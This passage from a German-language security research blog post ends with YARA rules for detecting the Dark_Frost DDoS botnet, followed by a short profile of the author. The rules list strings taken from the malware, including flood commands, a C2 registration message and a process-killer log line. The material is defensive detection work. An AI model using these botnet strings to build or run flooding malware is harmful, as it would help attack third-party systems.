      $s15 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET C" ascii
      $s16 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii
      $s17 = "[killer] new login: killing pid=%d" fullword ascii
      $s18 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET C" ascii
      $s19 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" fullword ascii
      $s20 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)" fullword ascii
   condition:
      uint16(0) == 0x457f and filesize < 400KB and
      8 of them
}
  • Nicht streng

 

  rule ___Dark_Frost_roof_lenient {
   meta:
      description = "Dark_Frost - file roof"
      hash1 = "45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da"
   strings:
      $s1 = "!zgoflood"
      $s2 = “@c2 <c2 ip>”
      $s3 = “Successfully registered[darkness.%s] :D”
      $s4 = “ZGO Flooding”
   condition:
      any of them
}


Allen West

Verfasser

Allen West

May 25, 2023

Allen West

Verfasser

Allen West

Allen West ist Security Researcher im Security Intelligence Response Team von Akamai. Er beschäftigt sich gerne mit Bedrohungen und entwickelt Tools. Derzeit arbeitet er an seinem Master in Informationssicherheit und -sicherung an der Carnegie Mellon University. Er hat seinen Bachelor-Abschluss in Cybersicherheit von der Northeastern University erhalten und ist Veteran des Marine Corps. Während seiner Freizeit reist, wandert und schwimmt Allen gern – er kann sich für alles im Freien und Abenteuerliche begeistern.